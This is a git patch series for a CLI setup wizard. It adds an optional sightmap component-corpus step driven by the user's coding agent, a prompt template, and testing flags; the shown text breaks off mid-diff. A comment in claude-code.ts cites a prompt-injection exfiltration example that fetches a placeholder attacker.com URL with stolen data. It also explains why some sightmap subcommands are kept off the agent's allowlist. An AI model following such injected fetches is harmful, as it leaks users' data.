From 98c0738db9bee93d154e46b7a08a726a21872fa0 Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Wed, 9 Sep 2026 15:27:45 -0400 Subject: [PATCH 1/6] Add optional sightmap corpus setup to the install flow --- .changeset/sightmap-setup.md | 5 + README.md | 4 + src/bin.ts | 5 + src/config.ts | 3 + src/prompt/sightmap.ts | 54 ++++++++ src/run.ts | 10 ++ src/sightmap.ts | 237 +++++++++++++++++++++++++++++++++++ templates/sightmap-prompt.md | 31 +++++ 8 files changed, 349 insertions(+) create mode 100644 .changeset/sightmap-setup.md create mode 100644 src/prompt/sightmap.ts create mode 100644 src/sightmap.ts create mode 100644 templates/sightmap-prompt.md diff --git a/.changeset/sightmap-setup.md b/.changeset/sightmap-setup.md new file mode 100644 index 0000000..db4a34a --- /dev/null +++ b/.changeset/sightmap-setup.md @@ -0,0 +1,5 @@ +--- +"@subtextdev/subtext-wizard": minor +--- + +Offer to build a sightmap component corpus after the install. When setup finishes, the wizard can install the `@sightmap/sightmap` CLI and have your coding agent seed a `.sightmap/` corpus from the codebase — so future Subtext session reviews name your UI components instead of showing raw selectors. Optionally deepens coverage against a running dev server. Offered interactively by default; opt in for unattended runs with `--sightmap`. diff --git a/README.md b/README.md index be8cf24..d77efd4 100644 --- a/README.md +++ b/README.md @@ -32,6 +32,7 @@ npx @subtextdev/subtext-wizard 3. **Asks about your stack** — pick the analytics and product tools you use (PostHog, Amplitude, Mixpanel, Sentry, Segment, and more) so setup can link them up. 4. **Finds your coding agent** — detects Claude Code, Codex, Gemini CLI, Cursor, Windsurf, VS Code, Zed, or Claude Desktop. 5. **Hands the install to your own agent** — no bundled agent; it drives the one you already use to wire up the capture snippet, MCP server, skills, and commands. +6. **Offers to build a sightmap** — optionally installs the [`@sightmap/sightmap`](https://docs.sightmap.org/start/quickstart) CLI and has your agent seed a `.sightmap/` component corpus, so later session reviews name your UI ("add-to-cart button") instead of showing raw selectors. When it finishes, your agent is connected to your sessions. See the [Subtext repo](https://github.com/fullstorydev/subtext) for what it can do from there. @@ -45,6 +46,9 @@ When it finishes, your agent is connected to your sessions. See the [Subtext rep --agent Skip the agent picker (claude-code, codex, gemini, cursor, windsurf, vscode, zed, claude-desktop, manual) --integrations Comma-separated tools to target, skips the picker +--sightmap Also build a .sightmap/ component corpus so reviews name + your UI. Offered interactively by default; this flag opts + in for unattended --yes runs. --print-prompt Print the install prompt instead of launching an agent --no-telemetry Opt out of telemetry. Anonymous install telemetry (step progress, outcomes, timings, and agent token usage; diff --git a/src/bin.ts b/src/bin.ts index e2635eb..ce0ff59 100644 --- a/src/bin.ts +++ b/src/bin.ts @@ -28,6 +28,9 @@ Options: datadog, launchdarkly, growthbook, intercom, pendo, appcues, userpilot, sprig, segment — unknown names become "Other") --print-prompt Build and print the install prompt instead of launching + --sightmap Also build a .sightmap/ component corpus so session + reviews name your UI. Offered interactively by default; + this flag opts in for unattended --yes runs. --yes Skip the pre-launch confirmation (for CI/non-interactive use). The agent runs autonomously against --dir with edits — and, depending on the agent, command execution — @@ -57,6 +60,7 @@ function main(): void { agent: { type: 'string' }, integrations: { type: 'string' }, 'print-prompt': { type: 'boolean', default: false }, + sightmap: { type: 'boolean', default: false }, yes: { type: 'boolean', default: false }, mock: { type: 'boolean', default: false }, 'no-telemetry': { type: 'boolean', default: false }, @@ -106,6 +110,7 @@ function main(): void { .map((s) => s.trim()) .filter(Boolean), printPrompt: values['print-prompt'] ?? false, + sightmap: values.sightmap ?? false, yes: values.yes ?? false, mock: values.mock ?? false, // Telemetry is on by default; both the explicit --no-telemetry flag and the diff --git a/src/config.ts b/src/config.ts index a0cd3c8..0eaa593 100644 --- a/src/config.ts +++ b/src/config.ts @@ -228,5 +228,8 @@ export interface WizardOptions { printPrompt: boolean; /** Skip the pre-launch confirmation (non-interactive/CI use). */ yes: boolean; + /** Opt into building a sightmap corpus under --yes. Interactive runs are + * always offered it; this only matters for unattended CI runs. */ + sightmap: boolean; debug: boolean; } diff --git a/src/prompt/sightmap.ts b/src/prompt/sightmap.ts new file mode 100644 index 0000000..d80759e --- /dev/null +++ b/src/prompt/sightmap.ts @@ -0,0 +1,54 @@ +import fs from 'node:fs'; +import { packageRootPath } from '../paths.js'; +import type { PromptMode } from './build.js'; + +export interface BuildSightmapPromptInput { + mode: PromptMode; + /** Dev-server URL for the live-coverage pass, or undefined to seed from code only. */ + appUrl?: string; +} + +const HEADLESS_MODE_SECTION = `## Mode: autonomous (headless) + +You are running non-interactively inside the Subtext setup CLI. The user cannot answer questions mid-run. Apply your best judgment, keep the corpus small and accurate rather than exhaustive, and record what you built (plus anything you'd have asked) in \`./sightmap-setup-report.md\`. Never block waiting for input.`; + +const INTERACTIVE_MODE_SECTION = `## Mode: interactive + +Work through the steps with the user in this conversation. Show them the components you intend to define before writing large batches, and let them steer which surfaces matter most.`; + +/** The live-coverage pass only appears when the user gave us a dev-server URL. */ +function liveSection(appUrl: string): string { + return `## Step 4: Deepen coverage against the running app + +A dev server is running at ${appUrl}. Use it to find components you couldn't see from the code alone. + +1. Start a browser session: \`sightmap browser start --url '${appUrl}'\`. +2. For each meaningful route, take a coverage snapshot — \`sightmap snapshot --coverage --url ''\` — and read which on-screen elements have no component mapped yet. +3. Add sightmap components for the uncovered elements that a person would name, using \`sightmap sel-probe\` to confirm a selector matches before you commit it. +4. Re-run \`sightmap validate\` and \`sightmap lint\` until clean. + +If the \`sightmap-browser\` skill is available, use it to drive this loop.`; +} + +export function buildSightmapPrompt(input: BuildSightmapPromptInput): string { + const template = fs.readFileSync(packageRootPath('templates', 'sightmap-prompt.md'), 'utf8'); + const headless = input.mode === 'headless'; + const live = Boolean(input.appUrl); + + const replacements: Record = { + MODE_SECTION: headless ? HEADLESS_MODE_SECTION : INTERACTIVE_MODE_SECTION, + LIVE_SECTION: live ? liveSection(input.appUrl!) : '', + // The live pass is Step 4, so the report becomes Step 5 when it's present. + REPORT_STEP: live ? '5' : '4', + REPORT_VERB: headless ? 'Record' : 'Tell the user', + REPORT_LOCATION: headless + ? 'Put this in `./sightmap-setup-report.md`.' + : '', + }; + + let prompt = template; + for (const [key, value] of Object.entries(replacements)) { + prompt = prompt.replaceAll(`{{${key}}}`, value); + } + return prompt.replace(/\n{3,}/g, '\n\n').trim() + '\n'; +} diff --git a/src/run.ts b/src/run.ts index b2719cd..8608415 100644 --- a/src/run.ts +++ b/src/run.ts @@ -12,6 +12,7 @@ import { guidePluginSetup } from './plugin.js'; import { offerPluginSetup } from './pluginSetup.js'; import { buildInstallPrompt, type PromptTelemetry } from './prompt/build.js'; import { offerPromptReview } from './promptReview.js'; +import { offerSightmapSetup } from './sightmap.js'; import { fetchCaptureSnippet } from './snippet.js'; import { Telemetry } from './telemetry.js'; @@ -195,6 +196,9 @@ export async function runWizard(options: WizardOptions): Promise { await offerPluginSetup(MANUAL_CHOICE, auth.region, options, (event, properties) => telemetry.note(event, properties), ); + await offerSightmapSetup(MANUAL_CHOICE, options, (event, properties) => + telemetry.note(event, properties), + ); await showDemoGuide({ agentName: 'your coding agent', installPending: true, @@ -274,6 +278,9 @@ export async function runWizard(options: WizardOptions): Promise { if (result.mode === 'handoff') { p.note(result.followUp?.join('\n') ?? '', 'Next steps'); + await offerSightmapSetup(chosen, options, (event, properties) => + telemetry.note(event, properties), + ); await showDemoGuide({ agentName: chosen.definition.name, installPending: true, @@ -288,6 +295,9 @@ export async function runWizard(options: WizardOptions): Promise { await offerPluginSetup(chosen, auth.region, options, (event, properties) => telemetry.note(event, properties), ); + await offerSightmapSetup(chosen, options, (event, properties) => + telemetry.note(event, properties), + ); await showDemoGuide({ agentName: chosen.definition.name, // Exit 0 without the agent's install marker means the install may have diff --git a/src/sightmap.ts b/src/sightmap.ts new file mode 100644 index 0000000..ee10b6a --- /dev/null +++ b/src/sightmap.ts @@ -0,0 +1,237 @@ +import * as p from '@clack/prompts'; +import pc from 'picocolors'; +import { runTerminalAgent, which } from './agents/helpers.js'; +import { MANUAL_CHOICE } from './agents/index.js'; +import type { DetectedAgent } from './agents/types.js'; +import type { WizardOptions } from './config.js'; +import { buildSightmapPrompt } from './prompt/sightmap.js'; + +/** + * Post-install: offer to build a `.sightmap/` component corpus so future + * Subtext session reviews come back annotated with semantic component names + * instead of raw CSS selectors. Independent of the capture snippet — the + * corpus maps the app's UI regardless of capture — but it only pays off in + * review, so onboarding is the natural place to front-load it. + * + * Delivery follows the sightmap quickstart: the standalone `@sightmap/sightmap` + * CLI provides the binary that both the wizard and the agent's authoring skill + * shell out to (`validate`, `lint`, `snapshot`, `browser start`), so it must be + * on PATH before any authoring happens. The corpus itself is authored by the + * user's own coding agent — same handoff model as the main install — because + * the CLI has no "seed" command; writing the YAML is an agent task guided by + * the `sightmap-authoring` skill (or the docs, as a fallback). + * + * Never throws: the install already succeeded, so sightmap trouble is reported + * and the wizard still finishes cleanly. + */ + +const SIGHTMAP_PACKAGE = '@sightmap/sightmap'; +const SIGHTMAP_DOCS = 'https://docs.sightmap.org/start/quickstart'; + +const WHY_SIGHTMAP = + 'A sightmap maps your UI components so Subtext session reviews name them ("add-to-cart button") instead of showing raw selectors.'; + +type OnEvent = (event: string, properties?: Record) => void; + +/** True when we can drive the authoring run ourselves in this terminal. */ +function isAutoDrivable( + chosen: DetectedAgent | typeof MANUAL_CHOICE, +): chosen is DetectedAgent { + return ( + chosen !== MANUAL_CHOICE && + chosen.definition.kind === 'terminal' && + Boolean(chosen.binaryPath) + ); +} + +/** The two commands, shown in instructions and mock output. */ +function provisionCommands(): string[] { + return [`npm install -g ${SIGHTMAP_PACKAGE}`, 'sightmap skills install']; +} + +/** + * Put the sightmap CLI (and its authoring skill) on PATH, per the quickstart. + * A global install is deliberate: the agent's later skill calls invoke a bare + * `sightmap`, so the binary has to be resolvable outside this process — an + * npx-only approach wouldn't survive the handoff. Returns whether `sightmap` + * ended up runnable; failures fall back to instructions, never abort. + */ +async function provisionCli(cwd: string): Promise { + const existing = await which('sightmap'); + if (existing) { + p.log.info(pc.dim('sightmap CLI already installed — skipping install.')); + } else { + const npm = await which('npm'); + if (!npm) { + p.log.warn('Could not find npm on PATH to install the sightmap CLI.'); + return false; + } + p.log.step(`Installing the sightmap CLI (${SIGHTMAP_PACKAGE})…`); + let installExit: number; + try { + installExit = await runTerminalAgent({ + binaryPath: npm, + args: ['install', '-g', SIGHTMAP_PACKAGE], + cwd, + stdout: 'inherit', + }); + } catch { + installExit = 1; + } + if (installExit !== 0 || !(await which('sightmap'))) { + p.log.warn( + 'sightmap CLI install failed — you may need elevated permissions ' + + `(e.g. sudo npm install -g ${SIGHTMAP_PACKAGE}).`, + ); + return false; + } + } + + // Skills are best-effort: the authoring prompt falls back to the docs when + // the skill isn't present, so a failed `skills install` doesn't sink setup. + const sightmap = await which('sightmap'); + if (sightmap) { + try { + await runTerminalAgent({ + binaryPath: sightmap, + args: ['skills', 'install'], + cwd, + stdout: 'inherit', + }); + } catch { + p.log.info(pc.dim('sightmap skills install skipped — the agent will use the docs instead.')); + } + } + return true; +} + +/** Interactive-only: an optional dev-server URL enables the live-coverage pass. */ +async function askAppUrl(options: WizardOptions): Promise { + if (options.yes) return undefined; // CI: never prompt; static seed only. + const answer = await p.text({ + message: + 'Local dev server running? Paste its URL to deepen coverage against the live app (blank = seed from code only):', + placeholder: 'http://localhost:3000', + }); + if (p.isCancel(answer)) return undefined; + const url = String(answer ?? '').trim(); + if (!url) return undefined; + if (!/^https?:\/\//i.test(url)) { + p.log.warn('That does not look like an http(s) URL — seeding from code only.'); + return undefined; + } + return url; +} + +/** Manual / GUI-app path: we can't drive a second run, so hand over the recipe. */ +function showInstructions(onEvent: OnEvent): void { + p.note( + [ + WHY_SIGHTMAP, + '', + 'Install the CLI and its authoring skill:', + ...provisionCommands().map((c) => ` ${c}`), + '', + 'Then, in your coding agent at this project, ask it to:', + ' "Use the sightmap-authoring skill to seed a .sightmap/ corpus from', + ' this codebase, then run sightmap validate and sightmap lint."', + '', + `Reference: ${SIGHTMAP_DOCS}`, + ].join('\n'), + 'Add semantic component names', + ); + onEvent('sightmap_instructions_shown'); +} + +export async function offerSightmapSetup( + chosen: DetectedAgent | typeof MANUAL_CHOICE, + options: WizardOptions, + onEvent: OnEvent, +): Promise { + // In CI (--yes) sightmap is off unless explicitly asked for: it installs a + // global and, for the live pass, wants a running app — not something to + // spring on an unattended run. + if (options.yes && !options.sightmap) return; + + onEvent('sightmap_offered', { + agent: chosen === MANUAL_CHOICE ? MANUAL_CHOICE : chosen.definition.id, + }); + + // Confirm gate, matching the wizard's other post-install offers. --yes with + // --sightmap is the standing authorization; otherwise ask. + if (!options.yes) { + const yes = await p.confirm({ + message: `Build a component sightmap so reviews name your UI? ${pc.dim( + `(installs ${SIGHTMAP_PACKAGE})`, + )}`, + }); + if (p.isCancel(yes) || !yes) { + onEvent('sightmap_declined'); + return; + } + } + + if (!isAutoDrivable(chosen)) { + // Manual prompt, or a GUI app we can't relaunch headlessly — hand over the + // commands and the one-line ask instead of driving it. + showInstructions(onEvent); + return; + } + + // Gather the live-pass URL before building the prompt so the corpus is + // authored in a single agent run rather than two. + const appUrl = await askAppUrl(options); + + if (options.mock) { + p.log.info( + pc.dim( + `Mock mode: would run\n ${provisionCommands().join('\n ')}\n` + + `then hand ${chosen.definition.name} a sightmap authoring prompt` + + (appUrl ? ` (with a live pass against ${appUrl}).` : '.'), + ), + ); + onEvent('sightmap_authored', { method: 'mock', live: Boolean(appUrl) }); + return; + } + + const provisioned = await provisionCli(options.dir); + onEvent('sightmap_provisioned', { ok: provisioned }); + if (!provisioned) { + showInstructions(onEvent); + return; + } + + const prompt = buildSightmapPrompt({ mode: 'headless', appUrl }); + p.log.step(`Authoring the sightmap with ${chosen.definition.name}…`); + let result; + try { + result = await chosen.definition.launch({ + prompt, + cwd: options.dir, + binaryPath: chosen.binaryPath, + debug: options.debug, + onEvent, + }); + } catch (error) { + p.log.warn( + `Sightmap authoring didn't run: ${error instanceof Error ? error.message : String(error)}`, + ); + onEvent('sightmap_authored', { method: 'launch', outcome: 'error', live: Boolean(appUrl) }); + return; + } + + const ok = result.mode === 'ran' && result.exitCode === 0; + onEvent('sightmap_authored', { + method: 'launch', + outcome: ok ? 'success' : 'partial', + exit_code: result.exitCode ?? null, + live: Boolean(appUrl), + }); + if (ok) { + p.log.success('Sightmap corpus authored in .sightmap/ — reviews will use it once uploaded.'); + } else { + p.log.warn( + 'Sightmap authoring finished without a clean exit — check .sightmap/ and sightmap-setup-report.md.', + ); + } +} diff --git a/templates/sightmap-prompt.md b/templates/sightmap-prompt.md new file mode 100644 index 0000000..d40d1c4 --- /dev/null +++ b/templates/sightmap-prompt.md @@ -0,0 +1,31 @@ +Build a sightmap component corpus for this app so Subtext session reviews come back with semantic component names instead of raw CSS selectors. + +{{MODE_SECTION}} + +## Reference + +A sightmap is a `.sightmap/` corpus: a `components.yaml` of global components plus per-view YAML under `.sightmap/views/`, each mapping a stable component id to the selectors that identify it in the DOM. Subtext reads this corpus when it annotates session snapshots. + +If a `sightmap-authoring` skill is available in this environment, use it — it is the source of truth for the corpus format and the authoring workflow. If it isn't, fetch https://docs.sightmap.org/start/quickstart and use the docs as your reference. Either way, the `sightmap` CLI (`validate`, `lint`, `snapshot`) is already installed and on PATH. + +## Step 1: Check the tooling + +Run `sightmap --version` to confirm the CLI is available. If the command is missing, install it with `npm install -g @sightmap/sightmap` and try again. If it still can't be installed, stop and report that the CLI is unavailable — the rest of this task depends on it. + +## Step 2: Seed the corpus from the codebase + +Do a read-only pass over the app's UI code — routes/pages, shared layout, and the reusable components that make up the meaningful surfaces (navigation, forms, product/list items, dialogs, account and settings screens). For each one that a person would name when describing the page ("the add-to-cart button", "the search box"), define a sightmap component with a stable id and the selector that identifies it. + +- Prefer durable selectors: `data-testid`, `data-*` hooks, roles, and stable ids over brittle class chains. +- Put app-wide components (header, nav, footer, global search) in `components.yaml`; put view-specific ones in the matching file under `.sightmap/views/`. +- Name views after the routes they cover. Don't invent components for markup that doesn't exist — only map what's really in the code. + +## Step 3: Validate and lint + +Run `sightmap validate` and `sightmap lint`. Fix whatever they flag — malformed YAML, duplicate ids, selectors that don't parse — and re-run until both pass clean. + +{{LIVE_SECTION}} + +## Step {{REPORT_STEP}}: Report + +{{REPORT_VERB}} what you built: the number of components and views authored, which surfaces are covered, and any notable gaps you couldn't map from the code (dynamic routes, third-party embeds, anything that needs a running app to see). {{REPORT_LOCATION}} From 6e92561acfb3de9d75209aa2ef89238ca3d099d5 Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Mon, 28 Sep 2026 23:48:39 -0400 Subject: [PATCH 2/6] Print the sightmap prompt under --print-prompt instead of skipping it offerSightmapSetup only checked --mock before running the CLI provision + agent launch, so a --print-prompt run fell straight into the launch path (or, before the run.ts fix in the next commit, was skipped entirely by a stale printPrompt guard meant for plugin setup). Either way the authoring prompt never got printed, unlike the snippet and enrich prompts. Build the prompt up front and add a --print-prompt branch, checked ahead of --mock, that prints it the same way STEP 1/2 do and returns before touching the CLI install or agent launch. --- src/sightmap.ts | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/sightmap.ts b/src/sightmap.ts index ee10b6a..7b38bc9 100644 --- a/src/sightmap.ts +++ b/src/sightmap.ts @@ -181,6 +181,18 @@ export async function offerSightmapSetup( // Gather the live-pass URL before building the prompt so the corpus is // authored in a single agent run rather than two. const appUrl = await askAppUrl(options); + const prompt = buildSightmapPrompt({ mode: 'headless', appUrl }); + + // --print-prompt is a dry run for every step, this one included: show the + // prompt the same way STEP 1/2 do, and skip the real install + agent run. + // Checked ahead of --mock so the combination still prints the prompt rather + // than falling through to mock's summary-only message. + if (options.printPrompt) { + console.log(`\n===== SIGHTMAP: authoring prompt =====\n\n${prompt}\n`); + p.log.info(pc.dim('--print-prompt: skipping the sightmap CLI install and agent run.')); + onEvent('sightmap_authored', { method: 'print-prompt', live: Boolean(appUrl) }); + return; + } if (options.mock) { p.log.info( @@ -201,7 +213,6 @@ export async function offerSightmapSetup( return; } - const prompt = buildSightmapPrompt({ mode: 'headless', appUrl }); p.log.step(`Authoring the sightmap with ${chosen.definition.name}…`); let result; try { From b69883169be8721e4ba34d284e57944bb2c2f8da Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Mon, 28 Sep 2026 23:48:44 -0400 Subject: [PATCH 3/6] Move the sightmap offer to the end of phase 2, not right after install MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit offerSightmapSetup ran immediately after the snippet install (before the demo guide), independent of whether the user wanted to continue into the optional enrichment phase at all. That put it ahead of the first-ASR moment it's meant to build on, and made it an implicit fourth opt-in outside the "Step 2 of 2" framing. Moved the call in all three handoff paths (manual, GUI app, terminal) to run after the phase-2 enrichment prompt/follow-up, inside the same confirmContinueEnriching gate — so declining phase 2 also skips the sightmap offer, and accepting it runs as the last of four enrichment items instead of a standalone step. Updated the phase-2 note to list sightmap as item 4. --- src/run.ts | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/src/run.ts b/src/run.ts index 36e825f..4cdea09 100644 --- a/src/run.ts +++ b/src/run.ts @@ -254,11 +254,12 @@ export async function runWizard(options: WizardOptions): Promise { p.note( readableNoteBody( [ - 'To get the most out of your captured sessions, three more steps:', + 'To get the most out of your captured sessions, four more steps:', '', ' 1. Identify users — tie each session to the signed-in person.', ' 2. Link analytics — add the session URL to the tools you already use.', ' 3. Mask sensitive data — tag PII so it stays out of capture.', + ' 4. Build a sightmap: map your UI so reviews name components instead of selectors.', '', detail, ].join('\n'), @@ -291,7 +292,6 @@ export async function runWizard(options: WizardOptions): Promise { } // Plugin setup — we don't know the harness, so show every path. await offerPluginSetup(MANUAL_CHOICE, auth.region, options, onEvent); - await offerSightmapSetup(MANUAL_CHOICE, options, onEvent); await showDemoGuide({ agentName: 'your coding agent', installPending: true, @@ -317,6 +317,8 @@ export async function runWizard(options: WizardOptions): Promise { yes: options.yes, onEvent, }); + // Last item of the enrichment list — offered after the other three. + await offerSightmapSetup(MANUAL_CHOICE, options, onEvent); } p.outro('Run this installer again any time with: npx @subtextdev/subtext-wizard'); await telemetry.flush(); @@ -356,7 +358,6 @@ export async function runWizard(options: WizardOptions): Promise { exit_code: result.exitCode ?? null, }); if (result.followUp?.length) p.note(result.followUp.join('\n'), 'Next steps'); - await offerSightmapSetup(chosen, options, onEvent); await showDemoGuide({ agentName: chosen.definition.name, installPending: true, @@ -386,6 +387,8 @@ export async function runWizard(options: WizardOptions): Promise { openTarget: options.printPrompt ? undefined : openTarget, onEvent, }); + // Last item of the enrichment list — offered after the other three. + await offerSightmapSetup(chosen, options, onEvent); } p.outro('Finish the install in your agent — it will guide you from here.'); await telemetry.flush(); @@ -473,7 +476,6 @@ export async function runWizard(options: WizardOptions): Promise { // run must not launch the agent. if (!options.printPrompt) { await offerPluginSetup(chosen, auth.region, options, onEvent, reviewToolsConsent); - await offerSightmapSetup(chosen, options, onEvent); } await showDemoGuide({ agentName: chosen.definition.name, @@ -520,6 +522,8 @@ export async function runWizard(options: WizardOptions): Promise { if (enrichResult.exitCode !== 0) { telemetry.note('phase2_failed', { exit_code: enrichResult.exitCode ?? null }); } + // Last item of the enrichment list — offered after the other three. + await offerSightmapSetup(chosen, options, onEvent); } } catch (error) { // Cancel (the integration multiselect) → user declined phase 2, fall From 1620af355e106fc9f098f815b51c5f10bd32a966 Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Mon, 28 Sep 2026 23:48:50 -0400 Subject: [PATCH 4/6] Allow the sightmap CLI's authoring commands under Claude Code's headless run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A real test run showed the sightmap authoring prompt getting stuck: every sightmap invocation (bare name and full path, version/--help/ validate) came back as an approval-required response with no way to grant it non-interactively, so the agent could never run validate or lint. Claude Code's headless launch runs with --permission-mode acceptEdits plus a hard --allowedTools list; anything off that list falls back to its normal approval prompt, which a -p run can never answer. sightmap wasn't on the list at all. Added scoped Bash entries for exactly the subcommands the authoring prompt uses: version, --help, validate, lint, browser start, snapshot, sel-probe. Left out a blanket `sightmap:*` on purpose — sightmap also has a `push` command that POSTs a corpus to an arbitrary URL and a `browser eval` that runs arbitrary JS in the page, which would hand a prompt injection the same exfiltration path the WebFetch domain scope above is already guarding against. Also switched the prompt's tooling check from `sightmap --version` to `sightmap version`, matching the CLI's own documented subcommand (and what the agent actually ran in testing), and updated the autonomy string shown at the pre-launch confirmation to mention it. --- src/agents/claude-code.ts | 24 +++++++++++++++++++----- templates/sightmap-prompt.md | 2 +- 2 files changed, 20 insertions(+), 6 deletions(-) diff --git a/src/agents/claude-code.ts b/src/agents/claude-code.ts index 07f3d9a..3255270 100644 --- a/src/agents/claude-code.ts +++ b/src/agents/claude-code.ts @@ -8,15 +8,22 @@ import { extractTelemetryMarkers } from './telemetry-marker.js'; import type { AgentDefinition, LaunchContext, LaunchResult } from './types.js'; /** - * Tools the headless run is pre-authorized to use beyond edits: docs fetching - * and dependency installs. Telemetry needs no tool here — the agent just prints - * markers to stdout that the wizard parses. Everything else falls back to - * Claude Code's own permission rules. + * Tools the headless run is pre-authorized to use beyond edits: docs fetching, + * dependency installs, and the sightmap CLI's authoring subcommands. Telemetry + * needs no tool here — the agent just prints markers to stdout that the wizard + * parses. Everything else falls back to Claude Code's own permission rules. * * WebFetch is scoped to the two Subtext/Fullstory doc domains the install * actually needs. Leaving it unscoped would make it an exfiltration channel * under prompt injection (fetch `https://attacker.com/?data=`); * the domain scope closes that. + * + * The sightmap entries are scoped the same way: only the subcommands the + * sightmap-authoring prompt (see prompt/sightmap.ts) actually tells the agent + * to run. `sightmap` also has a `push` command that POSTs a corpus to an + * arbitrary URL and a `browser eval` that runs arbitrary JS in the page — an + * unscoped `Bash(sightmap:*)` would hand a prompt injection an exfiltration + * path the same way an unscoped WebFetch would, so those are left out. */ const ALLOWED_TOOLS = [ 'WebFetch(domain:subtext.fullstory.com)', @@ -25,6 +32,13 @@ const ALLOWED_TOOLS = [ 'Bash(pnpm add:*)', 'Bash(yarn add:*)', 'Bash(bun add:*)', + 'Bash(sightmap version:*)', + 'Bash(sightmap --help:*)', + 'Bash(sightmap validate:*)', + 'Bash(sightmap lint:*)', + 'Bash(sightmap browser start:*)', + 'Bash(sightmap snapshot:*)', + 'Bash(sightmap sel-probe:*)', ]; async function findClaudeBinary(): Promise { @@ -128,7 +142,7 @@ export const claudeCode: AgentDefinition = { name: 'Claude Code', kind: 'terminal', autonomy: - 'auto-accepting file edits and running a limited set of commands (dependency installs and Subtext doc fetches)', + 'auto-accepting file edits and running a limited set of commands (dependency installs, Subtext doc fetches, and sightmap CLI commands)', async detect() { const binaryPath = await findClaudeBinary(); if (!binaryPath) return null; diff --git a/templates/sightmap-prompt.md b/templates/sightmap-prompt.md index d40d1c4..7f9c4c3 100644 --- a/templates/sightmap-prompt.md +++ b/templates/sightmap-prompt.md @@ -10,7 +10,7 @@ If a `sightmap-authoring` skill is available in this environment, use it — it ## Step 1: Check the tooling -Run `sightmap --version` to confirm the CLI is available. If the command is missing, install it with `npm install -g @sightmap/sightmap` and try again. If it still can't be installed, stop and report that the CLI is unavailable — the rest of this task depends on it. +Run `sightmap version` to confirm the CLI is available. If the command is missing, install it with `npm install -g @sightmap/sightmap` and try again. If it still can't be installed, stop and report that the CLI is unavailable — the rest of this task depends on it. ## Step 2: Seed the corpus from the codebase From dca4288fc0aefe6f38f73cf04d1ee5b79cc2b9b7 Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Tue, 29 Sep 2026 12:00:07 -0400 Subject: [PATCH 5/6] Add --stub-agent, a testing flag that skips the agent run but keeps side effects MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Testing a wizard change meant a tradeoff between --print-prompt (skips the agent, but dumps the whole prompt to stdout every time) and a real run (exercises everything, but spawns a real autonomous agent for minutes on real tokens) or --mock (fast, but also skips real provisioning like the sightmap CLI install, so it can't catch install regressions). --stub-agent fills the gap: it skips launching the coding agent for every prompt (install, enrich, sightmap authoring) and logs a short ": prompt ran!" instead of printing the prompt, but leaves real side effects alone — auth, snippet fetch, plugin CLI install, and notably the sightmap CLI provisioning (npm install -g + skills install), which now runs for real even under --mock. Wired into all three driveLaunch/launch call sites in run.ts and into offerSightmapSetup, which skips --mock's summary-only branch whenever --stub-agent is set so the real install still happens. src/test/helpers.ts gets the new required WizardOptions field. --- src/bin.ts | 9 +++++ src/config.ts | 6 ++++ src/run.ts | 84 +++++++++++++++++++++++++++++---------------- src/sightmap.ts | 12 ++++++- src/test/helpers.ts | 1 + 5 files changed, 82 insertions(+), 30 deletions(-) diff --git a/src/bin.ts b/src/bin.ts index 8eae143..6bc42b9 100644 --- a/src/bin.ts +++ b/src/bin.ts @@ -35,6 +35,13 @@ Options: userpilot, sprig, segment — unknown names become "Other") --print-prompt Print each install prompt to stdout as it's built, then continue the normal flow (testing aid) + --stub-agent Skip launching the coding agent for each install/ + enrich/sightmap prompt (logs "prompt ran!" instead of + printing it), but leave every other real side effect + alone — notably the sightmap CLI install. Unlike + --mock, auth/snippet/telemetry stay real; unlike + --print-prompt, the prompt itself is never printed. + (testing aid) --sightmap Also build a .sightmap/ component corpus so session reviews name your UI. Offered interactively by default; this flag opts in for unattended --yes runs. @@ -68,6 +75,7 @@ function main(): void { agent: { type: 'string' }, integrations: { type: 'string' }, 'print-prompt': { type: 'boolean', default: false }, + 'stub-agent': { type: 'boolean', default: false }, sightmap: { type: 'boolean', default: false }, yes: { type: 'boolean', default: false }, mock: { type: 'boolean', default: false }, @@ -123,6 +131,7 @@ function main(): void { .map((s) => s.trim()) .filter(Boolean), printPrompt: values['print-prompt'] ?? false, + stubAgent: values['stub-agent'] ?? false, sightmap: values.sightmap ?? false, yes: values.yes ?? false, mock, diff --git a/src/config.ts b/src/config.ts index 2363c9b..db9ed70 100644 --- a/src/config.ts +++ b/src/config.ts @@ -241,6 +241,12 @@ export interface WizardOptions { integrations?: string[]; /** Build and print the prompt instead of launching an agent. */ printPrompt: boolean; + /** Skip launching the coding agent (logs "prompt ran!" instead of the + * prompt), while leaving every other real side effect alone — notably the + * sightmap CLI install. Unlike --mock, auth/snippet/telemetry stay real; + * unlike --print-prompt, the prompt itself is never printed. For quickly + * exercising the wizard's own flow without a full autonomous agent run. */ + stubAgent: boolean; /** Skip the pre-launch confirmation (non-interactive/CI use). */ yes: boolean; /** Opt into building a sightmap corpus under --yes. Interactive runs are diff --git a/src/run.ts b/src/run.ts index 4cdea09..ff56020 100644 --- a/src/run.ts +++ b/src/run.ts @@ -137,6 +137,15 @@ export async function runWizard(options: WizardOptions): Promise { if (options.printPrompt) console.log(`\n===== ${label} =====\n\n${prompt}\n`); }; + // --stub-agent is the other testing aid: unlike --print-prompt it never + // prints the prompt, it just logs that the step was stubbed. Used instead + // of --print-prompt when the prompt text itself isn't what's being tested + // (see driveLaunch and the app-run launch below for where this replaces a + // real agent invocation). + const stubAgentRun = (label: string) => { + if (options.stubAgent) p.log.info(pc.dim(`${label}: prompt ran!`)); + }; + // 5. Assemble the phase-1 (snippet) install prompt. Terminal agents get the // autonomous variant (no approval gates); app handoffs keep the // interactive one. Telemetry never hands a credential to the agent's @@ -343,15 +352,22 @@ export async function runWizard(options: WizardOptions): Promise { if (!pluginReady) sendStart(chosen.definition.id); // --print-prompt is a dry run: the prompt was already printed above, so // don't open the app / hand off — synthesize a clean handoff result. - const result: LaunchResult = options.printPrompt - ? { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false } - : await chosen.definition.launch({ 